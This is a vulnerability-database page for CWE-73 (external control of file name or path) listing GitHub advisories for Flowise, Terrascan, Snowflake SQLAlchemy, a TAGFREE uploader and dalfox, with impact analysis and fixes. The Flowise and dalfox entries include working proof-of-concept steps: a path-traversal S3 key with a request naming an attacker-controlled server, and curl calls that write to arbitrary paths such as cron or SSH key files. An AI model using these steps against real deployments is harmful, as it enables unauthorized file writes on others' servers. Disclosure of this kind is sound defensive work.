CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1179 vulnerabilities reference this CWE, most recent first.
GHSA-88PR-878C-24WF
Vulnerability from github – Published: 2026-08-04 17:43 – Updated: 2026-08-04 17:43Summary
Flowise on current main allows an authenticated user with
documentStores:preview-process permission to trigger the S3 Directory
document loader with attacker-controlled S3 object keys. The loader joins
each returned S3 key with a temporary directory using path.join(tempDir, key)
and writes the object bytes to disk without validating traversal sequences
such as ../. Cleanup later removes only the original temporary directory,
so files written outside that directory persist on the host filesystem.
This yields arbitrary file write with the privileges of the Flowise
server process.
A related variant exists in the S3File loader when
fileProcessingMethod = unstructured (same root cause; its cleanup behavior
turns it into a mixed arbitrary write/delete/DoS primitive).
## Affected component
packages/components/nodes/documentloaders/S3Directory/S3Directory.ts- line 191:
filePath = path.join(tempDir, key)(unsanitized) - line 213: recursive
mkdirSynccreates parent path - line 216:
writeFileSyncwrites attacker-controlled bytes - line 289: cleanup only removes the original
tempDir, so escaped
files remain on disk
- line 191:
- Related (variant):
packages/components/nodes/documentloaders/S3File/S3File.ts
(lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)
## Reachability
- Routes exposed:
packages/server/src/routes/documentstore/index.ts:41,45
(/api/v1/document-store/loader/preview,
/api/v1/document-store/loader/process/:loaderId) - Both require
documentStores:preview-process packages/server/src/services/documentstore/index.ts:588passes
data.loaderConfigstraight to the loader node with no path
sanitizationS3Directoryaccepts a customserverUrl, so the attacker does not need access to an existing trusted AWS bucket — they can point Flowise
at a local MinIO or any S3-compatible endpoint they control
## Impact
- Authenticated arbitrary file write to any path writable by the Flowise
process - Destructive overwrite of application data, secrets, or configuration
- Deployment-dependent lift to RCE if the service account can modify
executable, startup, or interpreter-loaded files
(e.g..bashrc, systemd units, cron files,require.resolvetargets,
package.jsonpostinstall scripts). This is not guaranteed
product-wide.
## Preconditions
- Flowise instance running (HTTP server mode)
- Attacker has a workspace account with the
documentStores:preview-processrole - No additional infrastructure required —
serverUrlcan point to
attacker-controlled S3-compatible endpoint
## Proof of Concept
- Authenticate as a user with
documentStores:preview-process - Run an S3-compatible server the attacker controls (e.g. MinIO)
- Create an object with a traversal key such as:
../../../../tmp/flowise-poc.txt - Trigger:
POST /api/v1/document-store/loader/preview
(or /api/v1/document-store/loader/process/:loaderId)
body: {
"loaderId": "s3Directory",
"loaderConfig": {
"serverUrl": "http://attacker-minio:9000",
"bucketName": "attacker-bucket",
"prefix": "",
"credential": ""
}
} - Observe that Flowise writes the object bytes to the escaped path
- Observe that cleanup removes only the original temp directory; the escaped file persists
Local reproduction confirmed: writing a key containing
../../escape-target/poc.txt from a nested temp root created the file
outside the temp directory, and the cleanup removed only tempDir.
## Root Cause
The loader trusts S3 object keys as safe local relative paths. It should
canonicalize the destination with path.resolve(...), verify the resolved
path remains within the intended temp directory, and reject traversal or
absolute-path patterns before any directory creation or file write.
## Suggested Remediation
The repository already has shared path validators that are not used here:
packages/components/src/validator.ts:35defines traversal checkspackages/components/src/validator.ts:295definessanitizeFileName
Recommended fix:
- Replace
path.join(tempDir, key)with a resolve-and-verify flow - Reject any resolved path outside
tempDir - Prefer a sanitized basename if directory structure is not required
- Apply the same fix to the
S3Fileloader (fileProcessingMethod = unstructuredbranch)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:43:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary \n \n Flowise on current `main` allows an authenticated user with\n `documentStores:preview-process` permission to trigger the `S3 Directory` \n document loader with attacker-controlled S3 object keys. The loader joins\n each returned S3 key with a temporary directory using `path.join(tempDir, key)` \n and writes the object bytes to disk **without validating traversal sequences\n such as `../`**. Cleanup later removes only the original temporary directory,\n so files written outside that directory persist on the host filesystem. \n \n This yields **arbitrary file write** with the privileges of the Flowise \n server process. \n \n A related variant exists in the `S3File` loader when \n `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior \n turns it into a mixed arbitrary write/delete/DoS primitive). \n \n ## Affected component \n \n - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts`\n - line **191**: `filePath = path.join(tempDir, key)` (unsanitized) \n - line **213**: recursive `mkdirSync` creates parent path \n - line **216**: `writeFileSync` writes attacker-controlled bytes \n - line **289**: cleanup only removes the original `tempDir`, so escaped \n files remain on disk \n - Related (variant): \n `packages/components/nodes/documentloaders/S3File/S3File.ts` \n (lines 756, 780, 782, 817 \u2014 arbitrary write + recursive dirname delete)\n \n ## Reachability \n \n - Routes exposed: \n `packages/server/src/routes/documentstore/index.ts:41,45` \n (`/api/v1/document-store/loader/preview`, \n `/api/v1/document-store/loader/process/:loaderId`) \n - Both require `documentStores:preview-process` \n - `packages/server/src/services/documentstore/index.ts:588` passes \n `data.loaderConfig` straight to the loader node **with no path \n sanitization** \n - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not\n need access to an existing trusted AWS bucket** \u2014 they can point Flowise \n at a local MinIO or any S3-compatible endpoint they control \n \n ## Impact \n \n - Authenticated arbitrary file write to any path writable by the Flowise \n process \n - Destructive overwrite of application data, secrets, or configuration \n - Deployment-dependent lift to RCE if the service account can modify \n executable, startup, or interpreter-loaded files \n (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets, \n `package.json` postinstall scripts). This is not guaranteed \n product-wide. \n \n ## Preconditions \n \n - Flowise instance running (HTTP server mode) \n - Attacker has a workspace account with the \n `documentStores:preview-process` role \n - No additional infrastructure required \u2014 `serverUrl` can point to \n attacker-controlled S3-compatible endpoint \n \n ## Proof of Concept \n \n 1. Authenticate as a user with `documentStores:preview-process`\n 2. Run an S3-compatible server the attacker controls (e.g. MinIO) \n 3. Create an object with a traversal key such as: \n `../../../../tmp/flowise-poc.txt` \n 4. Trigger: \n POST /api/v1/document-store/loader/preview \n (or /api/v1/document-store/loader/process/:loaderId) \n body: { \n \"loaderId\": \"s3Directory\", \n \"loaderConfig\": { \n \"serverUrl\": \"http://attacker-minio:9000\", \n \"bucketName\": \"attacker-bucket\", \n \"prefix\": \"\", \n \"credential\": \"\" \n } \n } \n 5. Observe that Flowise writes the object bytes to the escaped path \n 6. Observe that cleanup removes only the original temp directory; the\n escaped file persists \n \n Local reproduction confirmed: writing a key containing \n `../../escape-target/poc.txt` from a nested temp root created the file \n outside the temp directory, and the cleanup removed only `tempDir`. \n \n ## Root Cause \n \n The loader trusts S3 object keys as safe local relative paths. It should \n canonicalize the destination with `path.resolve(...)`, verify the resolved \n path remains within the intended temp directory, and reject traversal or \n absolute-path patterns before any directory creation or file write. \n \n ## Suggested Remediation \n \n The repository already has shared path validators that are not used here: \n \n - `packages/components/src/validator.ts:35` defines traversal checks\n - `packages/components/src/validator.ts:295` defines `sanitizeFileName` \n \n Recommended fix: \n \n 1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow \n 2. Reject any resolved path outside `tempDir` \n 3. Prefer a sanitized basename if directory structure is not required\n 4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)",
"id": "GHSA-88pr-878c-24wf",
"modified": "2026-08-04T17:43:45Z",
"published": "2026-08-04T17:43:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-88pr-878c-24wf"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6549"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/571b5d6218b1c129588ac625c8f20e30905a67cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys "
}
GHSA-8C33-WHFW-95GH
Vulnerability from github – Published: 2026-05-19 18:32 – Updated: 2026-05-19 18:32Terrascan v1.18.3 and prior are vulnerable to Server-Side Request Forgery (SSRF) via external URL resolution in uploaded IaC templates when running in server mode. When Terrascan parses uploaded ARM templates or CloudFormation templates, it resolves external URLs referenced within those templates via hashicorp/go-getter with all default detectors enabled, including FileDetector. An unauthenticated remote attacker can upload an ARM template containing a templateLink.uri or parametersLink.uri field, or a CloudFormation template containing an AWS::CloudFormation::Stack TemplateURL field, pointing to an attacker-controlled URL. Terrascan will fetch the attacker-controlled URL server-side. Unlike SSRF via the remote scan endpoint, file:// URLs are directly usable without requiring an X-Terraform-Get redirect, enabling local file read. This affects deployments running terrascan in server mode (terrascan server), which binds to 0.0.0.0 with no authentication. Note: Terrascan was archived in August 2023 and no patch will be released.
{
"affected": [],
"aliases": [
"CVE-2026-47358"
],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T17:16:23Z",
"severity": "CRITICAL"
},
"details": "Terrascan v1.18.3 and prior are vulnerable to Server-Side Request Forgery (SSRF) via external URL resolution in uploaded IaC templates when running in server mode. When Terrascan parses uploaded ARM templates or CloudFormation templates, it resolves external URLs referenced within those templates via hashicorp/go-getter with all default detectors enabled, including FileDetector. An unauthenticated remote attacker can upload an ARM template containing a templateLink.uri or parametersLink.uri field, or a CloudFormation template containing an AWS::CloudFormation::Stack TemplateURL field, pointing to an attacker-controlled URL. Terrascan will fetch the attacker-controlled URL server-side. Unlike SSRF via the remote scan endpoint, file:// URLs are directly usable without requiring an X-Terraform-Get redirect, enabling local file read. This affects deployments running terrascan in server mode (terrascan server), which binds to 0.0.0.0 with no authentication. Note: Terrascan was archived in August 2023 and no patch will be released.",
"id": "GHSA-8c33-whfw-95gh",
"modified": "2026-05-19T18:32:13Z",
"published": "2026-05-19T18:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47358"
},
{
"type": "WEB",
"url": "https://github.com/tenable/terrascan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8G6F-QW9X-4Q6Q
Vulnerability from github – Published: 2026-07-14 15:32 – Updated: 2026-09-03 19:49Snowflake SQLAlchemy versions prior to 1.11.0 contain several security vulnerabilities, including: Improper handling of user-supplied column identifiers in merge operations could allow SQL injection through attacker-controlled input keys. An attacker may be able to exploit this through request field names in a dynamic upsert endpoint, potentially enabling read access to data visible to the application's database role or modification of values within the same MERGE statement. Improper literal rendering of bound parameters when building certain Snowflake-specific table creation queries could allow SQL injection. An attacker may be able to exploit this by supplying a crafted string to any application endpoint that passes user-controlled data through the affected query-building API, potentially causing arbitrary data exfiltration within the scope of the connection role. Improper forwarding of connection configuration parameters could allow an attacker to cause the library to read arbitrary local files and transmit their contents to an attacker-controlled endpoint. An attacker may be able to exploit this in deployment environments that accept user-controlled connection parameters, potentially exposing sensitive files accessible to the application process. The fix is available in Snowflake SQLAlchemy version 1.11.0. Users must manually upgrade.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "snowflake-sqlalchemy"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.6"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-15736"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T19:49:44Z",
"nvd_published_at": "2026-07-14T15:17:01Z",
"severity": "HIGH"
},
"details": "Snowflake SQLAlchemy versions prior to 1.11.0 contain several security vulnerabilities, including: Improper handling of user-supplied column identifiers in merge operations could allow SQL injection through attacker-controlled input keys. An attacker may be able to exploit this through request field names in a dynamic upsert endpoint, potentially enabling read access to data visible to the application\u0027s database role or modification of values within the same MERGE statement. Improper literal rendering of bound parameters when building certain Snowflake-specific table creation queries could allow SQL injection. An attacker may be able to exploit this by supplying a crafted string to any application endpoint that passes user-controlled data through the affected query-building API, potentially causing arbitrary data exfiltration within the scope of the connection role. Improper forwarding of connection configuration parameters could allow an attacker to cause the library to read arbitrary local files and transmit their contents to an attacker-controlled endpoint. An attacker may be able to exploit this in deployment environments that accept user-controlled connection parameters, potentially exposing sensitive files accessible to the application process. The fix is available in Snowflake SQLAlchemy version 1.11.0. Users must manually upgrade.",
"id": "GHSA-8g6f-qw9x-4q6q",
"modified": "2026-09-03T19:49:44Z",
"published": "2026-07-14T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15736"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/pull/707"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/pull/708"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/pull/710"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/commit/2c33792c91449e746a2c7ef24c25f0ede0a4a875"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/commit/35edf4dc5e76b9a9fdfa74c8e4f6fd14642110f1"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/commit/a198ed2197bb3e0be57268032ed6e8b7fdeb8129"
},
{
"type": "PACKAGE",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/releases"
},
{
"type": "WEB",
"url": "https://github.com/snowflakedb/snowflake-sqlalchemy/releases/tag/v1.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Snowflake SQLAlchemy affected by SQL injection and local file disclosure vulnerabilities"
}
GHSA-8G6X-JFC6-X2J7
Vulnerability from github – Published: 2025-08-07 06:30 – Updated: 2025-08-07 06:30: External Control of File Name or Path vulnerability in TAGFREE X-Free Uploader XFU allows : Parameter Injection.This issue affects X-Free Uploader: from 1.0.1.0084 before 1.0.1.0085, from 2.0.1.0034 before 2.0.1.0035.
{
"affected": [],
"aliases": [
"CVE-2025-29866"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-07T06:15:41Z",
"severity": "HIGH"
},
"details": ": External Control of File Name or Path vulnerability in TAGFREE X-Free Uploader XFU allows : Parameter Injection.This issue affects X-Free Uploader: from 1.0.1.0084 before 1.0.1.0085, from 2.0.1.0034 before 2.0.1.0035.",
"id": "GHSA-8g6x-jfc6-x2j7",
"modified": "2025-08-07T06:30:30Z",
"published": "2025-08-07T06:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29866"
},
{
"type": "WEB",
"url": "https://www.boho.or.kr/kr/bbs/view.do?searchCnd=\u0026bbsId=B0000302\u0026searchWrd=\u0026menuNo=205023\u0026pageIndex=1\u0026categoryCode=\u0026nttId=71827"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8HF9-3Q64-Q2QF
Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 23:50Summary
When dalfox is run in REST API server mode, the output, output-all, and debug fields in model.Options are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine's logging path. The logger opens the attacker-supplied path with os.O_APPEND|os.O_CREATE|os.O_WRONLY and writes scan log lines to it. Critically, this file write block lives outside the IsLibrary guard in DalLog, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem.
Severity
High (CVSS 3.1: 8.2)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
- Attack Vector: Network — server binds to
0.0.0.0:6664by default. - Attack Complexity: Low — no preconditions; all trigger options (
output,output-all,debug) are fully attacker-supplied in the JSON body. - Privileges Required: None —
--api-keydefaults to"", so the auth middleware is never registered. - User Interaction: None.
- Scope: Unchanged — the file write stays within the dalfox process's OS authority.
- Confidentiality Impact: None — this is a write-only primitive; no data is returned to the caller.
- Integrity Impact: High — the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting.
- Availability Impact: Low — corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files.
Affected Component
cmd/server.go—init()(line 51):--api-keydefaults to""— no auth by defaultpkg/server/server.go—setupEchoServer()(line 68): auth middleware only registered whenAPIKey != ""pkg/server/server.go—postScanHandler()(lines 173–191):rq.Options(includingOutputFile,OutputAll,Debug) passed toScanFromAPIwithout sanitizationlib/func.go—Initialize()(line 107):OutputFileexplicitly propagated from caller options;OutputAll(line 167) andDebug(line 176) likewiseinternal/printing/logger.go—DalLog()(lines 230–244):os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)executes outside theIsLibraryguard
CWE
- CWE-306: Missing Authentication for Critical Function
- CWE-73: External Control of File Name or Path
- CWE-434: Unrestricted Upload of File with Dangerous Type (write-path variant)
Description
output, output-all, and debug Are Fully Attacker-Controlled
model.Options exposes all three trigger fields with JSON tags:
// pkg/model/options.go:88,85,88
OutputFile string `json:"output,omitempty"`
OutputAll bool `json:"output-all,omitempty"`
Debug bool `json:"debug,omitempty"`
postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)
Initialize explicitly copies all three fields into newOptions:
// lib/func.go:107, 167, 176
"OutputFile": {&newOptions.OutputFile, options.OutputFile},
...
"OutputAll": {&newOptions.OutputAll, options.OutputAll},
...
"Debug": {&newOptions.Debug, options.Debug},
The File Write Is Not Guarded by IsLibrary
Initialize always sets IsLibrary: true (line 20) and Silence: true (line 44) in its returned options — the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. DalLog does respect this for stderr output: lines 203–228 route logs to ScanResult.Logs (not stderr) when IsLibrary is true. However, the file write block at lines 230–244 is positioned after and outside that if-else:
// internal/printing/logger.go
mutex.Lock()
if options.IsLibrary {
options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path
} else {
// stderr printing (CLI path)
}
// ← file write is here, unconditionally — no IsLibrary check
if options.OutputFile != "" {
var fdtext string
if ftext != "" {
fdtext = ftext
f, err := os.OpenFile(options.OutputFile,
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Fprintln(os.Stderr, "output file error (file)")
}
defer f.Close()
if _, err := f.WriteString(fdtext + "\n"); err != nil {
fmt.Fprintln(os.Stderr, "output file error (write)")
}
}
}
mutex.Unlock()
The ftext variable is populated whenever allWrite is true (options.Debug || options.OutputAll). Since both are attacker-supplied, both conditions are trivially satisfied.
What Gets Written
Log lines of the form:
[*] Starting scan [SID:<id>] / URL: <attacker-supplied-url>
[I] Checking BAV
[E] connection refused
[DEBUG] <internal state>
...
The URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like [*], [I], [E]), the file path is entirely attacker-controlled. The flags O_CREATE (creates the file if absent) and O_APPEND (never truncates) mean the attacker can:
- Create new files at arbitrary paths
- Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax)
No Defense at Any Layer
The same opt-in API key gap applies here as in all prior findings:
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}
There is no path allowlist, no IsLibrary guard on the file write, and no stripping of OutputFile from API-sourced requests anywhere in the codebase.
Proof of Concept
# Step 1 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 2 — Verify health (unauthenticated)
curl -s http://127.0.0.1:16664/health
# Expected: {"code":200,"msg":"ok"}
# Step 3 — Trigger arbitrary file creation with attacker-controlled path
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:1/?x=1",
"options": {
"output": "/tmp/dalfox_sink_poc.log",
"output-all": true,
"debug": true,
"use-headless": false
}
}'
# Step 4 — Verify file was created and written to by the dalfox process
sleep 2
cat /tmp/dalfox_sink_poc.log
# Expected:
# [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1
# [I] Checking BAV
# [E] ...
No X-API-KEY header is required. Replace /tmp/dalfox_sink_poc.log with any path writable by the dalfox process: /var/www/html/injected.txt, /etc/cron.d/dalfox, ~/.ssh/authorized_keys (appending log lines that won't break key format but pollute the file), etc.
Impact
- Arbitrary file creation: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories.
- Arbitrary file append/corruption: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files).
- Partial content control via URL: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats.
- No authentication required in the default deployment.
- When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files.
Recommended Remediation
Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)
Nullify all fields that touch the local filesystem before passing options to ScanFromAPI. This is the same remediation recommended for the found-action RCE and custom-payload-file file-read findings and should be applied as a single consolidated patch:
// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.OutputFile = ""
rq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile=""
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.HarFilePath = ""
Option 2: Guard the file write with IsLibrary in DalLog
Move the OutputFile write block inside the else branch so it only executes in non-library (CLI) mode:
// internal/printing/logger.go — restructure the if-else:
if options.IsLibrary {
options.ScanResult.Logs = append(options.ScanResult.Logs, text)
} else {
// existing stderr printing logic...
// file write belongs here, not after the if-else
if options.OutputFile != "" && ftext != "" {
f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
...
}
}
This fix addresses the root structural cause — the file write was intended for CLI mode only, and gating it on !IsLibrary matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage.
Option 3: Require --api-key at server startup
As with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely:
// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
os.Exit(1)
}
All three options should be applied together.
Credit
Emmanuel David
Github:- https://github.com/drmingler.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.12.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/hahwul/dalfox/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45089"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-434",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:08:27Z",
"nvd_published_at": "2026-05-27T18:16:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen dalfox is run in REST API server mode, the `output`, `output-all`, and `debug` fields in `model.Options` are JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through `dalfox.Initialize` into the scan engine\u0027s logging path. The logger opens the attacker-supplied path with `os.O_APPEND|os.O_CREATE|os.O_WRONLY` and writes scan log lines to it. Critically, this file write block lives outside the `IsLibrary` guard in `DalLog`, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem.\n\n## Severity\n\n**High** (CVSS 3.1: 8.2)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default.\n- **Attack Complexity:** Low \u2014 no preconditions; all trigger options (`output`, `output-all`, `debug`) are fully attacker-supplied in the JSON body.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so the auth middleware is never registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 the file write stays within the dalfox process\u0027s OS authority.\n- **Confidentiality Impact:** None \u2014 this is a write-only primitive; no data is returned to the caller.\n- **Integrity Impact:** High \u2014 the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting.\n- **Availability Impact:** Low \u2014 corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files.\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"` \u2014 no auth by default\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` (including `OutputFile`, `OutputAll`, `Debug`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (line 107): `OutputFile` explicitly propagated from caller options; `OutputAll` (line 167) and `Debug` (line 176) likewise\n- `internal/printing/logger.go` \u2014 `DalLog()` (lines 230\u2013244): `os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)` executes outside the `IsLibrary` guard\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-434**: Unrestricted Upload of File with Dangerous Type (write-path variant)\n\n## Description\n\n### `output`, `output-all`, and `debug` Are Fully Attacker-Controlled\n\n`model.Options` exposes all three trigger fields with JSON tags:\n\n```go\n// pkg/model/options.go:88,85,88\nOutputFile string `json:\"output,omitempty\"`\nOutputAll bool `json:\"output-all,omitempty\"`\nDebug bool `json:\"debug,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`Initialize` explicitly copies all three fields into `newOptions`:\n\n```go\n// lib/func.go:107, 167, 176\n\"OutputFile\": {\u0026newOptions.OutputFile, options.OutputFile},\n...\n\"OutputAll\": {\u0026newOptions.OutputAll, options.OutputAll},\n...\n\"Debug\": {\u0026newOptions.Debug, options.Debug},\n```\n\n### The File Write Is Not Guarded by `IsLibrary`\n\n`Initialize` always sets `IsLibrary: true` (line 20) and `Silence: true` (line 44) in its returned options \u2014 the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. `DalLog` does respect this for stderr output: lines 203\u2013228 route logs to `ScanResult.Logs` (not stderr) when `IsLibrary` is true. However, the file write block at lines 230\u2013244 is positioned **after and outside** that `if-else`:\n\n```go\n// internal/printing/logger.go\nmutex.Lock()\nif options.IsLibrary {\n options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path\n} else {\n // stderr printing (CLI path)\n}\n\n// \u2190 file write is here, unconditionally \u2014 no IsLibrary check\nif options.OutputFile != \"\" {\n var fdtext string\n if ftext != \"\" {\n fdtext = ftext\n f, err := os.OpenFile(options.OutputFile,\n os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n if err != nil {\n fmt.Fprintln(os.Stderr, \"output file error (file)\")\n }\n defer f.Close()\n if _, err := f.WriteString(fdtext + \"\\n\"); err != nil {\n fmt.Fprintln(os.Stderr, \"output file error (write)\")\n }\n }\n}\nmutex.Unlock()\n```\n\nThe `ftext` variable is populated whenever `allWrite` is true (`options.Debug || 